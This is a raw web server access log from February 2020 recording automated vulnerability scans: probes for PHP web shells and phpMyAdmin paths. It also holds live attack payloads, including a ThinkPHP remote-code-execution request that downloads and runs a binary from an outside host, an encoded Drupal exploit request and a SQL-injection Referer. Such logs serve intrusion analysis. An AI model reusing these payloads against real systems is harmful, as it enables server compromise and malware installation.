134.175.238.122 - - [08/Feb/2020:21:43:33 +0100] "GET /Drupal.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:33 +0100] "GET /lang.php?f=1 HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:33 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:33 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:34 +0100] "GET /new_license.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:34 +0100] "GET /images/!.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:34 +0100] "GET /images/vuln.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:35 +0100] "GET /hd.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:35 +0100] "GET /images/up.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:35 +0100] "GET /images/attari.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:36 +0100] "GET /images/jsspwneed.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:36 +0100] "GET /images/stories/cmd.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:37 +0100] "GET /images/stories/filemga.php?ssp=RfVbHu HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:37 +0100] "GET /up.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:37 +0100] "GET /laravel.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:38 +0100] "GET /huoshan.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:38 +0100] "GET /yu.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:38 +0100] "GET /floaw.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:38 +0100] "GET /ftmabc.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:38 +0100] "GET /doudou.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:39 +0100] "GET /mjx.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:39 +0100] "GET /xiaoxia.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:39 +0100] "GET /yuyang.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:40 +0100] "GET /zz.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:40 +0100] "GET /coonig.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:40 +0100] "GET /ak.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:41 +0100] "GET /baidoubi.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:41 +0100] "GET /hhhhhh.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:42 +0100] "GET /meijianxue.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:43 +0100] "GET /no1.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:45 +0100] "GET /python.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:45 +0100] "GET /woshimengmei.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:45 +0100] "GET /indea.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:45 +0100] "GET /taisui.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:46 +0100] "GET /xiaxia.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:46 +0100] "GET /kk.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:21:43:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
134.175.238.122 - - [08/Feb/2020:21:43:47 +0100] "GET /xsser.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:49 +0100] "GET /zzz.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:49 +0100] "GET /99.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:49 +0100] "GET /dp.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:49 +0100] "GET /hs.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:50 +0100] "GET /1ts.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:50 +0100] "GET /haiyan.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:51 +0100] "GET /phpdm.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:53 +0100] "GET /root.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:53 +0100] "GET /5678.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:53 +0100] "GET /root11.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:53 +0100] "GET /xiu.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:43:54 +0100] "POST /wuwu11.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
23.239.11.113 - - [08/Feb/2020:21:43:59 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
23.239.11.113 - - [08/Feb/2020:21:43:59 +0100] "Gh0st\xad" 501 321 "-" "-"
23.239.11.113 - - [08/Feb/2020:21:44:03 +0100] "HELP" 501 319 "-" "-"
23.239.11.113 - - [08/Feb/2020:21:44:03 +0100] "\x1b\x84\xd5\xb0]\xf4\xc4\x93\xc50\xc2X\x8c\xda\xb1\xd7\xac\xafn\x1d\xe1\x1e\x1a3*\x85\xb7\x1d'\xb1\xc9k\xbf\xf0\xbc" 501 350 "-" "-"
23.239.11.113 - - [08/Feb/2020:21:44:05 +0100] "\x16\x03\x01" 501 318 "-" "-"
23.239.11.113 - - [08/Feb/2020:21:44:06 +0100] "\xbd\xff\x9e\xffE\xff\x9e\xff\xbd\xff\x9e\xff\xa4\xff\x86\xff\xc4\xff\xbe\xff\xc7\xff\xdb\xff\xee\xffx\\d9\xff\xed\xff\xa4\xff\x9d\xff\xcf\xff\xd8\xff\xe5\xff\x04\xff\x12\xff0\xff\xb1\xff\xbd\xff\xe7\xff\xe2\xff\xdd\xff\xdc\xff\xde\xff\xc8\xff\xcc\xff\xbe\xff\xf8\xff&\xff\x01\xff\x0f\xff\xf5\xff\x06\xff\xff\xff\xf7\xff!\xff\xde\xff\x02\xff&\xff\x0c\xff\x01\xff\xf5\xff" 400 329 "-" "-"
134.175.238.122 - - [08/Feb/2020:21:44:18 +0100] "POST /xw1.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
45.33.117.163 - - [08/Feb/2020:21:44:32 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
134.175.238.122 - - [08/Feb/2020:21:44:41 +0100] "POST /9678.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
212.91.246.72 - - [08/Feb/2020:21:44:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
134.175.238.122 - - [08/Feb/2020:21:45:05 +0100] "POST /wc.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
134.175.238.122 - - [08/Feb/2020:21:45:29 +0100] "POST /xx.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
212.91.246.72 - - [08/Feb/2020:21:45:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
134.175.238.122 - - [08/Feb/2020:21:45:53 +0100] "POST /xx.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
134.175.238.122 - - [08/Feb/2020:21:46:25 +0100] "POST /sheep.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
212.91.246.72 - - [08/Feb/2020:21:46:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
134.175.238.122 - - [08/Feb/2020:21:46:49 +0100] "GET /%73%65%65%79%6F%6E/%68%74%6D%6C%6F%66%66%69%63%65%73%65%72%76%6C%65%74 HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:46:49 +0100] "GET /secure/ContactAdministrators!default.jspa HTTP/1.1" 404 346 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:46:49 +0100] "GET /weaver/bsh.servlet.BshServlet HTTP/1.1" 404 334 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:46:50 +0100] "GET /solr/ HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:46:50 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
134.175.238.122 - - [08/Feb/2020:21:47:13 +0100] "POST /%75%73%65%72/%72%65%67%69%73%74%65%72?%65%6c%65%6d%65%6e%74%5f%70%61%72%65%6e%74%73=%74%69%6d%65%7a%6f%6e%65%2f%74%69%6d%65%7a%6f%6e%65%2f%23%76%61%6c%75%65&%61%6a%61%78%5f%66%6f%72%6d=1&%5f%77%72%61%70%70%65%72%5f%66%6f%72%6d%61%74=%64%72%75%70%61%6c%5f%61%6a%61%78 HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:47:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:21:47:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
134.175.238.122 - - [08/Feb/2020:21:48:01 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:48:25 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:21:48:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
134.175.238.122 - - [08/Feb/2020:21:48:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
176.231.51.217 - - [08/Feb/2020:21:48:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
134.175.238.122 - - [08/Feb/2020:21:49:13 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:49:37 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:21:49:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
14.169.175.248 - - [08/Feb/2020:21:49:51 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
134.175.238.122 - - [08/Feb/2020:21:50:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:50:25 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:21:50:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
134.175.238.122 - - [08/Feb/2020:21:50:49 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:13 +0100] "POST /%75%73%65%72%2e%70%68%70 HTTP/1.1" 404 313 "554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:2:\"id\";s:3:\"'/*\";s:3:\"num\";s:141:\"*/ union select 1,0x272F2A,3,4,5,6,7,8,0x7b247b24524345275d3b6469652f2a2a2f286d6435284449524543544f52595f534550415241544f5229293b2f2f7d7d,0--\";s:4:\"name\";s:3:\"ads\";}554fcae493e564ee0dc75bdf2ebf94ca" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
134.175.238.122 - - [08/Feb/2020:21:51:13 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:13 +0100] "GET /phpmyadmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:14 +0100] "GET /phpMyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:14 +0100] "GET /pmd/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:14 +0100] "GET /pma/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:17 +0100] "GET /PMA/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:17 +0100] "GET /PMA2/index.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:17 +0100] "GET /pmamy/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:17 +0100] "GET /pmamy2/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:18 +0100] "GET /mysql/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:18 +0100] "GET /admin/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:18 +0100] "GET /db/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:21 +0100] "GET /dbadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:21 +0100] "GET /web/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:21 +0100] "GET /admin/pma/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:21 +0100] "GET /admin/PMA/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:22 +0100] "GET /admin/mysql/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:22 +0100] "GET /admin/mysql2/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:22 +0100] "GET /admin/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:23 +0100] "GET /admin/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:23 +0100] "GET /admin/phpmyadmin2/index.php HTTP/1.1" 404 332 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:25 +0100] "GET /mysqladmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:25 +0100] "GET /mysql-admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:25 +0100] "GET /mysql_admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:25 +0100] "GET /phpadmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:26 +0100] "GET /phpAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:26 +0100] "GET /phpmyadmin0/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:26 +0100] "GET /phpmyadmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:27 +0100] "GET /phpmyadmin2/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
